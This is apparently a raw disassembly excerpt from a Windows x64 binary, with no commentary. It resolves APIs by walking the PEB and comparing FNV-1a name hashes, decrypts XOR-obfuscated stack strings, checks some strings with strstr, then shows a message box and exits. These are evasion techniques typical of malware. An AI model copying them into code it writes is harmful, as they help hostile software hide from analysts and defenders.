mov qword [rbp + 0x2a8], rax
movabs rax, 0xa2efb33e9c8ad1ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
movabs rax, 0xdfb7d7fba4e4ae32
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
lea rax, [rbp + 0x1a0]
vmovdqu ymm0, ymmword [rbp + 0x2a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x100], ymm1
mov qword [rsp + 0x20], rax
vzeroupper
call r10
test eax, eax
jne 0x14008f3ef
mov r8, qword [0x140293ea8]
mov dword [rbp + 0x1a8], eax
mov eax, 0xc2c33c3d
mov qword [rbp + 0x90], rax
mov dword [rbp + 0x1ac], 0x100
test r8, r8
jne 0x14008e226
mov edi, eax
xor r9d, r9d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
movups xmmword [rbp + 0x10], xmm0
sub ax, 8
test r9d, r9d
je 0x14008e0dd
mov rcx, qword [rbp + 0x18]
mov edx, 0x811c9dc5
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x14008e0d4
nop dword [rax]
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x14008e0c0
cmp edx, r9d
jne 0x14008e206
mov r10, qword [rsi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
mov ebx, ecx
shr r15, 0x20
add rbx, r10
cmp rbx, r10
je 0x14008e206
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14008e206
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r10]
add rcx, r10
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14008e157
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14008e140
cmp edx, edi
je 0x14008e165
test r8d, r8d
jne 0x14008e120
jmp 0x14008e206
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov r8d, dword [rcx + rdx*4]
add r8, r10
cmp r8, rbx
jbe 0x14008e21f
lea rax, [r15 + rbx]
cmp r8, rax
jae 0x14008e21f
movzx eax, byte [r8]
mov r9d, 0x811c9dc5
mov dword [rbp + 8], r9d
mov ecx, r9d
mov dword [rbp + 0xc], ecx
cmp al, 0x2e
je 0x14008e1cc
nop dword [rax + rax]
movsx eax, al
inc r8
xor eax, r9d
imul r9d, eax, 0x1000193
movzx eax, byte [r8]
cmp al, 0x2e
jne 0x14008e1b0
mov dword [rbp + 8], r9d
movzx eax, byte [r8 + 1]
inc r8
test al, al
je 0x14008e1fa
nop dword [rax + rax]
movsx eax, al
lea r8, [r8 + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [r8]
test al, al
jne 0x14008e1e0
mov dword [rbp + 0xc], ecx
mov rdi, qword [rbp + 8]
mov rsi, qword [r12]
shr rdi, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14008e21c
cmp qword [rax + 0x30], 0
jne 0x14008e090
xor r8d, r8d
mov qword [0x140293ea8], r8
mov edx, 0x10a
mov ecx, 0x40
call r8
mov r10, qword [0x140293ea0]
mov r13, rax
mov qword [rbp + 0x10], rax
mov eax, 0x9027eb7c
mov qword [rbp], rax
test r10, r10
jne 0x14008e416
mov rcx, qword gs:[0x60]
xor r9d, r9d
mov edi, eax
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r12, qword [rcx]
mov rsi, r12
nop
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
movups xmmword [rbp + 0x80], xmm0
sub ax, 8
test r9d, r9d
je 0x14008e2cd
mov rcx, qword [rbp + 0x88]
mov edx, 0x811c9dc5
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x14008e2c4
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x14008e2b0
cmp edx, r9d
jne 0x14008e3f6
mov r11, qword [rsi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rcx, qword [rax + r11 + 0x88]
mov r15, rcx
mov ebx, ecx
shr r15, 0x20
add rbx, r11
cmp rbx, r11
je 0x14008e3f6
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14008e3f6
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r14]
add rcx, r11
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14008e347
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14008e330
cmp edx, edi
je 0x14008e355
test r8d, r8d
jne 0x14008e310
jmp 0x14008e3f6
mov ecx, dword [rbx + 0x24]
add rcx, r11
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r11
mov r10d, dword [rcx + rdx*4]
add r10, r11
cmp r10, rbx
jbe 0x14008e40f
lea rax, [r15 + rbx]
cmp r10, rax
jae 0x14008e40f
movzx eax, byte [r10]
mov r9d, 0x811c9dc5
mov dword [rbp + 8], r9d
mov ecx, r9d
mov dword [rbp + 0xc], ecx
cmp al, 0x2e
je 0x14008e3bc
nop dword [rax + rax]
movsx eax, al
inc r10
xor eax, r9d
imul r9d, eax, 0x1000193
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x14008e3a0
mov dword [rbp + 8], r9d
movzx eax, byte [r10 + 1]
inc r10
test al, al
je 0x14008e3ea
nop dword [rax + rax]
movsx eax, al
lea r10, [r10 + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [r10]
test al, al
jne 0x14008e3d0
mov dword [rbp + 0xc], ecx
mov rdi, qword [rbp + 8]
mov rsi, qword [r12]
shr rdi, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14008e40c
cmp qword [rax + 0x30], 0
jne 0x14008e270
xor r10d, r10d
mov qword [0x140293ea0], r10
movabs rcx, 0xdfb7d7fba4e4ae32
lea r9, [rbp + 0x1a8]
movabs rax, 0x9715f52d9ae0e628
lea rdx, [rbp + 0x120]
mov qword [rbp + 8], rax
movabs rdi, 0xfe579848ee939f7b
mov rax, qword [rbp + 8]
movabs rbx, 0x1178f9c52b02ec48
mov qword [rbp + 0x120], rax
xor r8d, r8d
movabs rax, 0x7e118ab74e549f27
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x128], rax
movabs rax, 0xa2efb33e9c8ad183
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x130], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x138], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2c8], rax
movabs rax, 0xa2efb33e9c8ad1ed
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov rcx, qword [rbp + 0x1a0]
mov qword [rbp + 0x2d8], rax
lea rax, [rbp + 0x1ac]
vmovdqu ymm0, ymmword [rbp + 0x2c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x120]
mov qword [rsp + 0x28], rax
vmovdqa ymmword [rbp + 0x120], ymm1
mov qword [rsp + 0x20], r13
vzeroupper
call r10
test eax, eax
jne 0x14008e5b9
mov rcx, r13
call fcn.14008bc90
mov eax, dword [rbp + 0x1a8]
cmp eax, 1
je 0x14008e53b
cmp eax, 7
jne 0x14008e5b9
movabs rax, 0xfe57984896fcfd0d
lea rdx, [rbp + 0xb0]
mov qword [rbp + 8], rax
mov rcx, r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb8], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x210], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
movdqa xmm0, xmmword [rbp + 0xb0]
mov qword [rbp + 0x218], rax
pxor xmm0, xmmword [rbp + 0x210]
movdqa xmmword [rbp + 0xb0], xmm0
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x14008e5b9
mov qword [0], 1
mov rdx, qword [0x140293e98]
mov r13d, 0xbf0306f6
test rdx, rdx
jne 0x14008e794
mov rax, qword gs:[0x60]
xor r9d, r9d
mov edi, r13d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
movups xmmword [rbp + 0x80], xmm0
sub ax, 8
test r9d, r9d
je 0x14008e64d
mov rcx, qword [rbp + 0x88]
mov edx, 0x811c9dc5
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x14008e644
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x14008e630
cmp edx, r9d
jne 0x14008e775
mov r10, qword [rsi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
mov ebx, ecx
shr r15, 0x20
add rbx, r10
cmp rbx, r10
je 0x14008e775
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14008e775
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r10]
add rcx, r10
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14008e6c7
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14008e6b0
cmp edx, edi
je 0x14008e6d5
test r8d, r8d
jne 0x14008e690
jmp 0x14008e775
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov edx, dword [rcx + rdx*4]
add rdx, r10
cmp rdx, rbx
jbe 0x14008e78d
lea rax, [r15 + rbx]
cmp rdx, rax
jae 0x14008e78d
movzx eax, byte [rdx]
mov r9d, 0x811c9dc5
mov dword [rbp + 8], r9d
mov ecx, r9d
mov dword [rbp + 0xc], ecx
cmp al, 0x2e
je 0x14008e73b
nop dword [rax]
movsx eax, al
inc rdx
xor eax, r9d
imul r9d, eax, 0x1000193
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x14008e720
mov dword [rbp + 8], r9d
movzx eax, byte [rdx + 1]
inc rdx
test al, al
je 0x14008e769
nop word [rax + rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
test al, al
jne 0x14008e750
mov dword [rbp + 0xc], ecx
mov rdi, qword [rbp + 8]
mov rsi, qword [r12]
shr rdi, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14008e78b
cmp qword [rax + 0x30], 0
jne 0x14008e5f0
xor edx, edx
mov qword [0x140293e98], rdx
mov rcx, qword [rbp + 0x10]
call rdx
mov r8, qword [0x140293ea8]
mov dword [rbp + 0x1a8], 0
mov dword [rbp + 0x1ac], 0x200
test r8, r8
jne 0x14008e98f
mov rax, qword gs:[0x60]
xor r9d, r9d
mov r12, qword [rbp + 0x90]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
nop
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
movups xmmword [rbp + 0x80], xmm0
sub ax, 8
test r9d, r9d
je 0x14008e83d
mov rcx, qword [rbp + 0x88]
mov edx, 0x811c9dc5
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x14008e834
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x14008e820
cmp edx, r9d
jne 0x14008e96f
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r14, rcx
mov ebx, ecx
shr r14, 0x20
add rbx, r10
cmp rbx, r10
je 0x14008e96f
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14008e96f
mov esi, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rsi + r8*4]
mov ecx, dword [rax + r10]
add rcx, r10
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14008e8b7
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14008e8a0
cmp edx, r12d
je 0x14008e8c6
test r8d, r8d
jne 0x14008e880
jmp 0x14008e96f
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov r8d, dword [rcx + rdx*4]
add r8, r10
cmp r8, rbx
jbe 0x14008e988
lea rax, [r14 + rbx]
cmp r8, rax
jae 0x14008e988
movzx eax, byte [r8]
mov r9d, 0x811c9dc5
mov dword [rbp + 8], r9d
mov ecx, r9d
mov dword [rbp + 0xc], ecx
cmp al, 0x2e
je 0x14008e92c
nop dword [rax]
movsx eax, al
inc r8
xor eax, r9d
imul r9d, eax, 0x1000193
movzx eax, byte [r8]
cmp al, 0x2e
jne 0x14008e910
mov dword [rbp + 8], r9d
movzx eax, byte [r8 + 1]
inc r8
test al, al
je 0x14008e95a
nop dword [rax + rax]
movsx eax, al
lea r8, [r8 + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [r8]
test al, al
jne 0x14008e940
mov dword [rbp + 0xc], ecx
mov rax, qword [rbp + 8]
mov rdi, qword [r15]
shr rax, 0x20
mov qword [rbp + 0x90], rax
mov r12, rax
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14008e985
cmp qword [rax + 0x30], 0
jne 0x14008e7e0
xor r8d, r8d
mov qword [0x140293ea8], r8
mov edx, 0x20a
mov ecx, 0x40
call r8
mov r10, qword [0x140293ea0]
mov r12, rax
test r10, r10
jne 0x14008eb79
mov rcx, qword gs:[0x60]
xor r9d, r9d
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r15, qword [rcx]
mov rdi, r15
nop dword [rax]
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
movups xmmword [rbp + 0x80], xmm0
sub ax, 8
test r9d, r9d
je 0x14008ea2d
mov rcx, qword [rbp + 0x88]
mov edx, 0x811c9dc5
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x14008ea24
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x14008ea10
cmp edx, r9d
jne 0x14008eb59
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rcx, qword [rax + r11 + 0x88]
mov r14, rcx
mov ebx, ecx
shr r14, 0x20
add rbx, r11
cmp rbx, r11
je 0x14008eb59
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14008eb59
mov esi, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + rsi]
add rcx, r11
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14008eaa7
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14008ea90
cmp edx, dword [rbp]
je 0x14008eab6
test r8d, r8d
jne 0x14008ea70
jmp 0x14008eb59
mov ecx, dword [rbx + 0x24]
add rcx, r11
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r11
mov r10d, dword [rcx + rdx*4]
add r10, r11
cmp r10, rbx
jbe 0x14008eb72
lea rax, [rbx + r14]
cmp r10, rax
jae 0x14008eb72
movzx eax, byte [r10]
mov r9d, 0x811c9dc5
mov dword [rbp + 8], r9d
mov ecx, r9d
mov dword [rbp + 0xc], ecx
cmp al, 0x2e
je 0x14008eb1c
nop dword [rax]
movsx eax, al
inc r10
xor eax, r9d
imul r9d, eax, 0x1000193
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x14008eb00
mov dword [rbp + 8], r9d
movzx eax, byte [r10 + 1]
inc r10
test al, al
je 0x14008eb4a
nop dword [rax + rax]
movsx eax, al
lea r10, [r10 + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [r10]
test al, al
jne 0x14008eb30
mov dword [rbp + 0xc], ecx
mov rax, qword [rbp + 8]
mov rdi, qword [r15]
shr rax, 0x20
mov qword [rbp], rax
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14008eb6f
cmp qword [rax + 0x30], 0
jne 0x14008e9d0
xor r10d, r10d
mov qword [0x140293ea0], r10
movabs rdx, 0xa2efb33e9c8ad1ed
lea r9, [rbp + 0x1a8]
movabs rcx, 0xdfb7d7fba4e4ae32
movabs rax, 0x913eda278bf7f62d
mov qword [rbp + 0x10], rax
movabs rsi, 0x1178f9c52b02ec48
mov rax, qword [rbp + 0x10]
xor r8d, r8d
mov qword [rbp + 0x140], rax
movabs rax, 0x7f1790b65967ba3b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x158], rax
movabs rax, 0xfe579848ee939f7b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2e0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2e8], rax
mov qword [rbp + 0x10], rdx
lea rdx, [rbp + 0x140]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp + 0x1a0]
mov qword [rbp + 0x2f8], rax
lea rax, [rbp + 0x1ac]
vmovdqu ymm0, ymmword [rbp + 0x2e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x140]
mov qword [rsp + 0x28], rax
vmovdqa ymmword [rbp + 0x140], ymm1
mov qword [rsp + 0x20], r12
vzeroupper
call r10
test eax, eax
jne 0x14008ee18
cmp dword [rbp + 0x1a8], 7
jne 0x14008ee18
mov rdi, r12
cmp byte [r12], al
je 0x14008ee18
movabs rbx, 0x1178f9c52b029427
movabs r14, 0xfe57fd248df2ed14
movabs r15, 0x9c3bf93d9ae1f60d
nop dword [rax]
nop dword [rax + rax]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdi + rax], 0
jne 0x14008ecc7
test eax, eax
je 0x14008ed09
mov rbx, rdi
mov esi, eax
nop dword [rax]
movsx ecx, byte [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov byte [rbx], al
lea rbx, [rbx + 1]
sub rsi, 1
jne 0x14008ece0
movabs rbx, 0x1178f9c52b029427
movabs rsi, 0x1178f9c52b02ec48
mov qword [rbp + 0x10], r14
lea rdx, [rbp + 0xc0]
mov rax, qword [rbp + 0x10]
mov rcx, rdi
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc8], rax
movabs rax, 0xfe579848ee939f7b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xc0]
mov qword [rbp + 0x228], rax
pxor xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0xc0], xmm0
call sub.VCRUNTIME140.dll_strstr
test rax, rax
jne 0x14008ef3a
mov qword [rbp + 0x10], r15
lea rdx, [rbp + 0xd0]
mov rax, qword [rbp + 0x10]
mov rcx, rdi
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd8], rax
movabs rax, 0xfe579848ee939f7b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xd0]
mov qword [rbp + 0x238], rax
pxor xmm0, xmmword [rbp + 0x230]
movdqa xmmword [rbp + 0xd0], xmm0
call sub.VCRUNTIME140.dll_strstr
test rax, rax
jne 0x14008ef3a
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rdi + rax], 0
jne 0x14008ee00
inc rdi
add rdi, rax
cmp byte [rdi], 0
jne 0x14008ecc0
mov rdx, qword [0x140293e98]
test rdx, rdx
jne 0x14008f203
mov rax, qword gs:[0x60]
xor r9d, r9d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
movups xmmword [rbp + 0x80], xmm0
sub ax, 8
test r9d, r9d
je 0x14008eead
mov rcx, qword [rbp + 0x88]
mov edx, 0x811c9dc5
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x14008eea4
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x14008ee90
cmp edx, r9d
jne 0x14008f1e4
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r14, rcx
mov ebx, ecx
shr r14, 0x20
add rbx, r10
cmp rbx, r10
je 0x14008f1e4
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14008f1e4
mov esi, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r10 + r8*4]
mov ecx, dword [rax + rsi]
add rcx, r10
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14008ef27
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14008ef10
cmp edx, r13d
je 0x14008f14a
test r8d, r8d
jne 0x14008eef0
jmp 0x14008f1e4
movabs rax, 0xfe38983aeee19f3e
movabs rcx, 0xfe579848ee939f7b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x20], rax
movabs rax, 0x1178f9c52b02ec3a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x20]
mov qword [rbp + 0x1b8], rax
movabs rax, 0xfe22982beef69f28
pxor xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x40], rax
movabs rax, 0x1101f9b12b6bec3a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x48], rax
movabs rax, 0xa280b3579cfcd1cd
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x50], rax
movabs rax, 0xdfded78fa485ae5e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x58], rax
movabs rax, 0x87dee56c0072e490
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60], rax
movabs rax, 0xbb72132c6e926da9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x68], rax
movabs rax, 0x7aa1a6466e2ff045
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x70], rax
movabs rax, 0x663f067fd22b4e05
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c8], rax
movabs rax, 0xa2efb33e9c8ad1ed
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d0], rax
movabs rax, 0xdfb7d7fba4e4ae32
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d8], rax
movabs rax, 0x87bae54c001ce4ff
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e0], rax
movabs rax, 0xbb1113496ee66dcc
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x7a81a6226e4af031
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x663f067fd21a4e26
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x1c0]
mov qword [rbp + 0x1f8], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
vmovdqu ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x40], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
vmovdqa ymmword [rbp + 0x60], ymm1
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x40]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov edx, dword [rcx + rdx*4]
add rdx, r10
cmp rdx, rbx
jbe 0x14008f1fc
lea rax, [r14 + rbx]
cmp rdx, rax
jae 0x14008f1fc
movzx eax, byte [rdx]
mov r9d, 0x811c9dc5
mov dword [rbp + 8], r9d
mov ecx, r9d
mov dword [rbp + 0xc], ecx
cmp al, 0x2e
je 0x14008f1ab
nop
movsx eax, al
inc rdx
xor eax, r9d
imul r9d, eax, 0x1000193
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x14008f190
mov dword [rbp + 8], r9d
movzx eax, byte [rdx + 1]
inc rdx
test al, al
je 0x14008f1d9
nop word [rax + rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
test al, al
jne 0x14008f1c0
mov dword [rbp + 0xc], ecx
mov r13, qword [rbp + 8]
mov rdi, qword [r15]
shr r13, 0x20
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14008f1fa
cmp qword [rax + 0x30], 0
jne 0x14008ee50
xor edx, edx
mov qword [0x140293e98], rdx
mov rcx, r12
call rdx
mov rdx, qword [0x140293eb0]
test rdx, rdx
jne 0x14008f3e4
mov rax, qword gs:[0x60]
xor r9d, r9d
mov r11d, 0x1242154a
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
movups xmmword [rbp + 0x80], xmm0
sub ax, 8
test r9d, r9d
je 0x14008f29d
mov rcx, qword [rbp + 0x88]
mov edx, 0x811c9dc5
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x14008f294
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x14008f280
cmp edx, r9d
jne 0x14008f3c5
mov r10, qword [rsi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
mov edi, ecx
shr r15, 0x20
add rdi, r10
cmp rdi, r10
